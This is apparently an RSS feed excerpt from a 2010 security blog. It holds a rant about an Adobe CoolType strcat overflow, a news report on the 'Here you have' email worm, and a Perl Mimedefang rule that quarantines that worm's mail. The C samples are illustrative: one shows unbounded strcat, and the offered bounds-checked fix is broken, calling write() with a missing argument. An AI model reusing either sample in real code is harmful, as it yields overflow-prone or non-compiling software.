<li><a href='http://www.attackvector.org/new-dll-hijacking-exploits-many/' rel='bookmark' title='New DLL Hijacking Exploits (many!)'>New DLL Hijacking Exploits (many!)</a></li>
<li><a href='http://www.attackvector.org/get-fined-for-not-password-protecting-your-wireless-network/' rel='bookmark' title='Get Fined For Not Password Protecting Your Wireless Network.'>Get Fined For Not Password Protecting Your Wireless Network.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/geolocation-using-bssid/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Really, Adobe?</title>
		<link>http://www.attackvector.org/really-adobe/</link>
		<comments>http://www.attackvector.org/really-adobe/#comments</comments>
		<pubDate>Mon, 20 Sep 2010 15:59:44 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Acrobat]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[cooltype]]></category>
		<category><![CDATA[corporate]]></category>
		<category><![CDATA[dll]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[own]]></category>
		<category><![CDATA[PDF]]></category>
		<category><![CDATA[penetration]]></category>
		<category><![CDATA[SING]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[strncat]]></category>
		<category><![CDATA[SumatraPDF]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[Xpdf]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=605</guid>
		<description><![CDATA[So, I&#8217;ve come across a lot more information regarding the no-longer-0day Adobe vulnerability (oh, wait, that&#8217;s right.. there have been like, 12 in the last 30 days.. I&#8217;m referring just to the SING table one). Anyway, a penetration testing company named Ramz Afzar has released an unofficial patch to fix the Adobe vulnerability, because apparently [...]


Related posts:<ol><li><a href='http://www.attackvector.org/new-adobe-0day-demonstration/' rel='bookmark' title='New Adobe 0day Demonstration'>New Adobe 0day Demonstration</a></li>
<li><a href='http://www.attackvector.org/new-dll-hijacking-exploits-many/' rel='bookmark' title='New DLL Hijacking Exploits (many!)'>New DLL Hijacking Exploits (many!)</a></li>
<li><a href='http://www.attackvector.org/dllhijackauditkit-v2/' rel='bookmark' title='DLLHijackAuditKit v2'>DLLHijackAuditKit v2</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>So, I&#8217;ve come across a lot more information regarding the no-longer-0day Adobe vulnerability (oh, wait, that&#8217;s right.. there have been like, 12 in the last 30 days.. I&#8217;m referring just to the SING table one).</p>
<p>Anyway, a penetration testing company named <a href="https://www.rafzar.com/" rel="nofollow" target="_blank">Ramz Afzar</a> has released an <a href="https://www.rafzar.com/node/22" rel="nofollow" target="_blank">unofficial patch</a> to fix the Adobe vulnerability, because apparently Adobe has had a difficult time figuring one out on their own.</p>
<p>After reading their analysis of the vulnerable code, this jumped out at me the most:<br />
<span id="more-605"></span></p>
<blockquote><p>
After initial analysis we&#8217;ve discovered that exploit exists in insecure strcat call located in CoolType.dll:<br />
(all addresses and names are from Latest Acrobat 9.3.4&#8242;s CoolType.dll)</p>
<p>0803DDAB E8 483D1300 CALL JMP.&#038;MSVCR80.strcat
</p></blockquote>
<p>So, what does &#8216;strcat&#8217; do, exactly?  It basically appends a copy of the source string to the destination string.  Example:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p605code9'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6059"><td class="code" id="p605code9"><pre class="c" style="font-family:monospace;">main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">char</span> adobe_rulez<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">20</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  strcpy <span style="color: #009900;">&#40;</span>adobe_rulez<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;our &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  strcat <span style="color: #009900;">&#40;</span>adobe_rulez<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;software &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  strcat <span style="color: #009900;">&#40;</span>adobe_rulez<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;pwnz! &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Pretty self explanatory.  HOWEVER.  What DOESN&#8217;T &#8216;strcat&#8217; (or any of the other strc* functions, for that matter) do?  Bounds checking!  This is a classic overflow due to idiotic programming practices.  Really, Adobe?  The 15 years of hounding from security researchers haven&#8217;t been enough for you to ingrain it into your programmers that the use of strc* will get them fired, or lynched, or burned at the stake?  Beyond that, your entire testing/debugging department missed this as well?</p>
<p>Heres&#8217; what they SHOULD be doing:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p605code10'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p60510"><td class="code" id="p605code10"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#define MAXLEN(s) ( sizeof(s)/sizeof(s[0]) - 1 )</span>
&nbsp;
<span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">20</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span> write<span style="color: #009900;">&#40;</span> <span style="color: #993333;">char</span> data<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #993333;">int</span> n <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   strncat<span style="color: #009900;">&#40;</span> buf<span style="color: #339933;">,</span> data<span style="color: #339933;">,</span> __min<span style="color: #009900;">&#40;</span> n<span style="color: #339933;">,</span> MAXLEN<span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span>strlen<span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   strcat<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;now it looks like &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   write<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;we know what we're doing&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Note:  The above code is just an example &#8211; I don&#8217;t even know if it will compile or not.  The idea is simple, though.  You define the size of a buffer and you want to ensure that the data going in to that buffer doesn&#8217;t exceed the size of the buffer.  What a concept.  Bounds checking is nothing new, so there are plenty of resources out there to educate those who are unfamiliar with it.  But, if you&#8217;re getting paid big bucks as a programmer for a company, you should know what the hell you&#8217;re doing.  Sorry, that&#8217;s just my personal opinion.  *cough*.</p>
<p>Anyway, So, first they&#8217;re writing code using functions that have been known to be vulnerable to exploitation for about 15 years and second, they&#8217;re now being shown up by little companies who are writing patches to fix the holes that they&#8217;re not.  And apparently Adobe thinks it&#8217;s okay for this vulnerability to be left unpatched until the 4th of October??  Are you kidding me??</p>
<p>I caught some grief when I wrote the <a href="http://www.attackvector.org/an-open-letter-to-microsoft/">Open Letter to Microsoft</a> post about how it&#8217;s difficult to write code in a team setting and that it&#8217;s difficult for large companies to meet deadlines and whatnot, but honestly, how do you argue with this?</p>
<p>And, whats more, is that a company that does not have access to the source code of the DLL was able to fix the issue, yet the company responsible for the software is not/wont/doesn&#8217;t care/can&#8217;t find a way to patch it on an expedited schedule?  Seriously, this October 4th date is really feels like a, &#8220;Eh, we don&#8217;t mind that all of our customers are vulnerable to exploitation and corporate espionage.. we&#8217;ll patch it when we get around to it&#8221; kind of date.</p>
<p>Whats more, is that Adobe has apparently released a statement telling people to not install 3rd party patches or from &#8220;untrusted&#8221; publishers.  So, instead, just remain vulnerable until we get off our ass and do something about it.</p>
<p>Tell you what, Adobe, if you can&#8217;t figure out how to simply add some bounds checking to a routine and release a patch, I think maybe you are the &#8220;untrusted publisher&#8221;.</p>
<p>So, here are your options:</p>
<p>1) Uninstall Adobe (highly recommended.  Once this vulnerability is patched, there will be 6 more released, I&#8217;m sure &#8211; <a href="http://www.exploit-db.com/search/?action=search&#038;filter_page=1&#038;filter_description=adobe&#038;filter_author=&#038;filter_platform=0&#038;filter_type=0&#038;filter_port=&#038;filter_osvdb=&#038;filter_cve=" rel="nofollow" target="_blank">here&#8217;s a list</a> of all the vulnerabilities and associated exploits against Adobe products.  Look at how many came out in the past 60 days (granted, a chunk of them are DLL hijacking, but even ignoring those ones&#8230;))  Some options to replace Adobe include:<br />
     A) Install the Google Docs plugin and read your PDF&#8217;s from within Google Docs (this is what I do)<br />
     B) Install one of the many other software packages out there:<br />
         * Evince<br />
         * Foxit (Foxit is often vulnerable to the same issues as Adobe, though, so be a bit weary of this one)<br />
         * Okular<br />
         * GSView<br />
         * Xpdf<br />
         * NitroPDF<br />
         * SumatraPDF<br />
         * Please note that I haven&#8217;t used all of these, so if you have any input on them, please comment below<br />
2) Install <a href="https://www.rafzar.com/customers/patches/CoolType.tgz" rel="nofollow">this patch</a><br />
3) Or wait around for Adobe to do something about it, meanwhile leaving you vulnerable to attack.  Though, I&#8217;m sure there&#8217;s nothing important on your computer that you wouldn&#8217;t mind being stolen, right?</p>
<p>Sorry about this rant, I&#8217;m just getting tired of these companies writing absolutely terrible code, laughing at us as they head off to the bank with our money and then not taking it seriously when they get flooded with vulnerability discoveries.  I&#8217;m looking forward to the day when some big company gets pwned due to a vulnerability in a piece of software that a publisher has had ample time to patch and then gets sued for damages.  That&#8217;s when the face of internet security will change, because I guarantee that if you assign a price tag to apathy, we will begin to see same-day patches.</p>
<p>Oh, wait, we do already see that.. with Linux.  *plug*.  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=605" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Freally-adobe%2F&amp;title=Really%2C%20Adobe%3F" id="wpa2a_10"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/new-adobe-0day-demonstration/' rel='bookmark' title='New Adobe 0day Demonstration'>New Adobe 0day Demonstration</a></li>
<li><a href='http://www.attackvector.org/new-dll-hijacking-exploits-many/' rel='bookmark' title='New DLL Hijacking Exploits (many!)'>New DLL Hijacking Exploits (many!)</a></li>
<li><a href='http://www.attackvector.org/dllhijackauditkit-v2/' rel='bookmark' title='DLLHijackAuditKit v2'>DLLHijackAuditKit v2</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/really-adobe/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Anti-US Hacker Takes Credit For &#8220;Here you have&#8221; Worm</title>
		<link>http://www.attackvector.org/anti-us-hacker-takes-credit-for-here-you-have-worm/</link>
		<comments>http://www.attackvector.org/anti-us-hacker-takes-credit-for-here-you-have-worm/#comments</comments>
		<pubDate>Mon, 13 Sep 2010 14:10:32 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[Anna Kournikova]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[here you have]]></category>
		<category><![CDATA[Joe Stewart]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Robert McMillan]]></category>
		<category><![CDATA[Terry Jones]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=603</guid>
		<description><![CDATA[(Source: Computer World) IDG News Service &#8211; A hacker who claims he was behind a fast-spreading e-mail worm that crippled corporate networks last week said that the worm was designed, in part, as a propaganda tool. The hacker, known as Iraq Resistance, responded to inquiries sent to an e-mail address associated with the &#8220;Here you [...]


Related posts:<ol><li><a href='http://www.attackvector.org/life-of-a-computer-hacker-revealed-a-blast-from-the-past/' rel='bookmark' title='Life of a Computer Hacker Revealed.  A Blast From the Past.'>Life of a Computer Hacker Revealed.  A Blast From the Past.</a></li>
<li><a href='http://www.attackvector.org/convincing-end-users-that-black-is-white/' rel='bookmark' title='Convincing End Users That Black is White'>Convincing End Users That Black is White</a></li>
<li><a href='http://www.attackvector.org/malwarespyware-and-your-credit-card/' rel='bookmark' title='Malware/Spyware and your credit card.'>Malware/Spyware and your credit card.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>(Source:  <a href="http://www.computerworld.com/s/article/9184818/Anti_US_hacker_takes_credit_for_Here_you_have_worm?taxonomyId=17&#038;pageNumber=1">Computer World</a>)</p>
<p>IDG News Service &#8211; A hacker who claims he was behind a fast-spreading e-mail worm that crippled corporate networks last week said that the worm was designed, in part, as a propaganda tool.</p>
<p>The hacker, known as Iraq Resistance, responded to inquiries sent to an e-mail address associated with the &#8220;Here you have&#8221; worm, which during a brief period early Thursday accounted for about 10 percent of the spam on the Internet. He (or she) revealed no details about his identity, but said, &#8220;The creation of this is just a tool to reach my voice to people maybe&#8230; or maybe other things.&#8221;</p>
<p>He said he had not expected the worm to spread as broadly as it had, and noted that he could have done much more damage to victims. &#8220;I could smash all those infected but I wouldn&#8217;t,&#8221; said the hacker. &#8220;I hope all people understand that I am not negative person!&#8221; In other parts of the message, he was critical of the U.S. war in Iraq.</p>
<p>On Sunday, <a href="http://www.youtube.com/profile?user=iqziad#p/u/0/IkMifFGqt78" rel="nofollow" target="_blank">Iraq Resistance posted a video echoing these sentiments</a> and complaining, through a computer-generated voice, that his actions were not as bad as those of Terry Jones. Jones is the pastor at a small Florida church who received worldwide attention this week for threatening to burn copies of the Koran.<br />
<span id="more-603"></span><br />
Security experts agree that the worm could have caused more damage. However, it did include some very malicious components, such as password logging software and a backdoor program that could have been used to allow its creator to control infected machines. But because the software was not terribly sophisticated, it was quickly shut down as Web servers that it used to infect machines and issue new commands were taken offline last week.</p>
<p>&#8220;Here you have&#8221; spread when victims clicked on a Web link and then allowed a malicious script to run on their computer.  <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2010-082013-3322-99&#038;tabid=2" rel="nofollow" target="_blank">It is the more-successful follow-up to an August worm</a> that included the e-mail address that Iraq Resistance used to communicate with the IDG News Service.</p>
<p>According to Cisco, the worm accounted for between 6 percent and 14 percent of the world&#8217;s spam for a few hours Thursday. It primarily gummed up corporate e-mail networks in the U.S.</p>
<p>It is the first worm in years to have such a widespread and noisy effect, hearkening back to the days of the Anna Kournikova worm. Nowadays, most malware writers don&#8217;t want to draw attention to their activities, because they generally want to keep their malicious software hidden away on victims&#8217; computers as long as possible.</p>
<p>Disney, Proctor and Gamble, Wells Fargo and the U.S. National Aeronautics and Space Administration (NASA) are among the organizations reported to have been hit by the worm.</p>
<p>SecureWorks Researcher Joe Stewart believes that Iraq Defense is a Libyan hacker who is trying to <a href="http://www.computerworld.com/s/article/9184718/Cyber_jihad_group_linked_to_Here_you_have_worm" rel="nofollow" target="_blank">gain followers for a cyber jihad hacking group called Brigades of Tariq ibn Ziyad</a>.</p>
<p>Tariq ibn Ziyad was the eighth century commander who conquered much of Spain on behalf of the Umayyad Caliphate. Iraq Resistance&#8217;s YouTube video has a Spanish theme too. It shows a map of Andalucia, and Iraq Resistance lists his location as &#8220;Spain&#8221; in his YouTube profile.</p>
<p>In his e-mails, Iraq Resistance did not answer questions about his identity, saying that he was worried about his safety. &#8220;I think this information is enough for you and having more looks like [an] investigation,&#8221; he said. &#8220;I don&#8217;t see myself that criminal.&#8221;</p>
<p><i>Robert McMillan covers computer security and general technology breaking news for The IDG News Service. Follow Robert on Twitter at <a href="http://twitter.com/bobmcmillan" target="_blank">@bobmcmillan</a>. Robert&#8217;s e-mail address is <a href="mailto:robert_mcmillan@idg.com">robert_mcmillan@idg.com</a></i></p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=603" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2Fanti-us-hacker-takes-credit-for-here-you-have-worm%2F&amp;title=Anti-US%20Hacker%20Takes%20Credit%20For%20%26%238220%3BHere%20you%20have%26%238221%3B%20Worm" id="wpa2a_12"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/life-of-a-computer-hacker-revealed-a-blast-from-the-past/' rel='bookmark' title='Life of a Computer Hacker Revealed.  A Blast From the Past.'>Life of a Computer Hacker Revealed.  A Blast From the Past.</a></li>
<li><a href='http://www.attackvector.org/convincing-end-users-that-black-is-white/' rel='bookmark' title='Convincing End Users That Black is White'>Convincing End Users That Black is White</a></li>
<li><a href='http://www.attackvector.org/malwarespyware-and-your-credit-card/' rel='bookmark' title='Malware/Spyware and your credit card.'>Malware/Spyware and your credit card.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/anti-us-hacker-takes-credit-for-here-you-have-worm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>0day &#8220;Here you have&#8221; Worm &#8211; Prevention at the Gateway</title>
		<link>http://www.attackvector.org/0day-here-you-have-worm-prevention-at-the-gateway/</link>
		<comments>http://www.attackvector.org/0day-here-you-have-worm-prevention-at-the-gateway/#comments</comments>
		<pubDate>Fri, 10 Sep 2010 17:24:00 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[gateway]]></category>
		<category><![CDATA[infect]]></category>
		<category><![CDATA[INPUTMSG]]></category>
		<category><![CDATA[mimedefang]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[Prevention]]></category>
		<category><![CDATA[protect]]></category>
		<category><![CDATA[rule]]></category>
		<category><![CDATA[rules]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[sendmail]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.attackvector.org/?p=587</guid>
		<description><![CDATA[&#8220;&#8230;that we all feared might happen someday&#8230;&#8221;? Where has this chick been? ANYWAY&#8230;.. Whenever I hear about an email worm going around an infecting people left and right, I kind of chuckle to myself. These are absurdly easy to block, yet no one seems to do it. I&#8217;m in charge of all the network operations [...]


Related posts:<ol><li><a href='http://www.attackvector.org/handling-spam-at-the-network-level/' rel='bookmark' title='Handling Spam at the Network Level'>Handling Spam at the Network Level</a></li>
<li><a href='http://www.attackvector.org/alert-new-virus-spreading/' rel='bookmark' title='ALERT:  New virus spreading'>ALERT:  New virus spreading</a></li>
<li><a href='http://www.attackvector.org/picpaste-filename-enumeration-or-how-to-get-free-porn/' rel='bookmark' title='UPDATED: Picpaste &amp; Filename Enumeration.  Or, How To Get Free Porn.'>UPDATED: Picpaste &#038; Filename Enumeration.  Or, How To Get Free Porn.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><center><img style="visibility: hidden; width: 0px; height: 0px;" src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyODQxMzk*NDM5NjImcHQ9MTI4NDEzOTQ*NzY4MSZwPTEyNTg*MTEmZD1BQkNOZXdzX1NGUF9Mb2NrZV9FbWJlZCZn/PTImbz*yODZhOTg1M2ZjYmI*ODQ5YjhhNGUwN2I3ZGJiN2I*ZCZvZj*w.gif" border="0" alt="" width="0" height="0" /><object id="ABCESNWID" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="344" height="278" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="quality" value="high" /><param name="allowScriptAccess" value="always" /><param name="allowNetworking" value="all" /><param name="flashvars" value="configUrl=http://abcnews.go.com/video/sfp/embedPlayerConfig&amp;configId=406732&amp;clipId=11598061&amp;showId=11596433&amp;gig_lt=1284139443962&amp;gig_pt=1284139447681&amp;gig_g=2" /><param name="allowfullscreen" value="true" /><param name="src" value="http://abcnews.go.com/assets/player/walt2.6/flash/SFP_Walt.swf" /><param name="name" value="ABCESNWID" /><embed id="ABCESNWID" type="application/x-shockwave-flash" width="344" height="278" src="http://abcnews.go.com/assets/player/walt2.6/flash/SFP_Walt.swf" name="ABCESNWID" allowfullscreen="true" flashvars="configUrl=http://abcnews.go.com/video/sfp/embedPlayerConfig&amp;configId=406732&amp;clipId=11598061&amp;showId=11596433&amp;gig_lt=1284139443962&amp;gig_pt=1284139447681&amp;gig_g=2" allownetworking="all" allowscriptaccess="always" quality="high"></embed></object></center></p>
<p>&#8220;&#8230;that we all feared might happen someday&#8230;&#8221;?  Where has this chick been?  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />   ANYWAY&#8230;..</p>
<p>Whenever I hear about an email worm going around an infecting people left and right, I kind of chuckle to myself.  These are absurdly easy to block, yet no one seems to do it.  I&#8217;m in charge of all the network operations at the company that I work for and it&#8217;s a relatively small company, yet we&#8217;ve never been hit by any of the major email worms that have surfaced over the years.  Why?</p>
<p>Well, it&#8217;s simple.. just like spam, there are certain characteristics that are static across all of the emails that are being generated.  Yes, sometimes they&#8217;re more difficult to pinpoint than others, but usually (as is the case here), it&#8217;s trivial.<br />
<span id="more-587"></span><br />
From all of the samples that I&#8217;ve seen, we&#8217;re dealing with two different subject lines.  Obviously, the creators of this worm were not interested in filter evasion, otherwise they would have created an array of thousands of different subject lines and messages.  That, in addition to thousands of random file names and websites that are hosting the file, and you&#8217;ve got yourself a worm that&#8217;s moderately difficult to block.  So, you future worm writers of the world, go big or go home.</p>
<p>Anyway, as I&#8217;ve mentioned in a previous post, I rely heavily upon Mimedefang to filter email at the gateway.  It&#8217;s a very straight forward milter for Sendmail that allows you to write custom filters in Perl.  And, since I&#8217;m sure all of you know about my love for Perl, you can see why I&#8217;m immediately drawn to this.  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>If you&#8217;ve never played with <a rel="nofollow" href="http://www.mimedefang.org/" target="_blank">Mimedefang</a>, I highly recommend you check it out.</p>
<p>So, on to the filtering.  My filter file has, well, lots of rules that accomplish a variety of different tasks.  In order to filter this one, though, it&#8217;s a simple pattern match:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p587code13'); return false;">View Code</a> PERL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p58713"><td class="code" id="p587code13"><pre class="perl" style="font-family:monospace;">   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^.*?Subject\:\s+here you have.*/i</span> <span style="color: #339933;">||</span> <span style="color: #009966; font-style: italic;">/^.*?Subject\:\s+just for you.*/i</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">foreach</span> <span style="color: #0000ff;">$recip</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@Recipients</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      delete_recipient<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$recip</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
   add_recipient<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'spam@localhost'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   action_change_header<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'Subject'</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;BANNED - VIRUS - $Subject&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Trivial.  You place this under the &#8220;filter_begin&#8221; routine.  Also, in order to get access to the headers, there are two files which Mimedefang stores.  One is called &#8220;COMMANDS&#8221; and one is called &#8220;INPUTMSG&#8221;.  You&#8217;ll want to open the &#8220;INPUTMSG&#8221; file in order to parse the subject line.</p>
<p>Example:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p587code14'); return false;">View Code</a> PERL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p58714"><td class="code" id="p587code14"><pre class="perl" style="font-family:monospace;"><a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span>F<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;./INPUTMSG&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://perldoc.perl.org/functions/die.html"><span style="color: #000066;">die</span></a> <span style="color: #ff0000;">&quot;$!&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">/^.*?</span>Subject<span style="color: #339933;">.......</span>blah blah blah
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Anyway, this is just a simple example of a way to take care of some of these lame worms at the gateway so that your end users never even see them.  Mimedefang, like pretty much everything else I use, is free.  So, it always gives me a warm fuzzy when large companies (ABC, NASA, etc.) get pwned by some lame worm when they run like, $50,000 email filtering systems, yet my simple little Perl script and Mimedefang somehow has kept us protected.</p>
<p>Some of you are probably thinking, &#8220;Yeah, but if you had the amount of emails coming through that those guys do, your Perl script would kill your box&#8221;</p>
<p>Trust me, I thought about that ahead of time.  The one nice thing about milters, in general, is that they&#8217;re written in C and are usually pretty quick and not super resource intensive.. so the idea of running a milter that delegates the task of filtering to a scripting language was definitely a concern.  However, on this box, which is a Pentium 2.8ghz dual core (11,205.53 bogomips total), the load average stayed below 2 all the way up to 250 emails a minute.  Sure, this is not a solution for the Gmail&#8217;s and Yahoo&#8217;s of the world, but does your company receive 250 emails a minute?  Probably not.</p>
<p>Also, I&#8217;ve written in some throttling to ensure that it backs off if the load increases too significantly.</p>
<p>Anyway, if you have any questions about filtering with Mimedefang, let me know.. if inadvertently become pretty well versed in it.  <img src='http://www.attackvector.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
 <img src="http://www.attackvector.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=587" width="1" height="1" style="display: none;" /><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.attackvector.org%2F0day-here-you-have-worm-prevention-at-the-gateway%2F&amp;title=0day%20%26%238220%3BHere%20you%20have%26%238221%3B%20Worm%20%26%238211%3B%20Prevention%20at%20the%20Gateway" id="wpa2a_14"><img src="http://www.attackvector.org/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>

<p>Related posts:<ol><li><a href='http://www.attackvector.org/handling-spam-at-the-network-level/' rel='bookmark' title='Handling Spam at the Network Level'>Handling Spam at the Network Level</a></li>
<li><a href='http://www.attackvector.org/alert-new-virus-spreading/' rel='bookmark' title='ALERT:  New virus spreading'>ALERT:  New virus spreading</a></li>
<li><a href='http://www.attackvector.org/picpaste-filename-enumeration-or-how-to-get-free-porn/' rel='bookmark' title='UPDATED: Picpaste &amp; Filename Enumeration.  Or, How To Get Free Porn.'>UPDATED: Picpaste &#038; Filename Enumeration.  Or, How To Get Free Porn.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.attackvector.org/0day-here-you-have-worm-prevention-at-the-gateway/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Vendor Response to Backdoor in Accton Switches Post</title>
		<link>http://www.attackvector.org/vendor-response-to-backdoor-in-accton-switches-post/</link>
		<comments>http://www.attackvector.org/vendor-response-to-backdoor-in-accton-switches-post/#comments</comments>
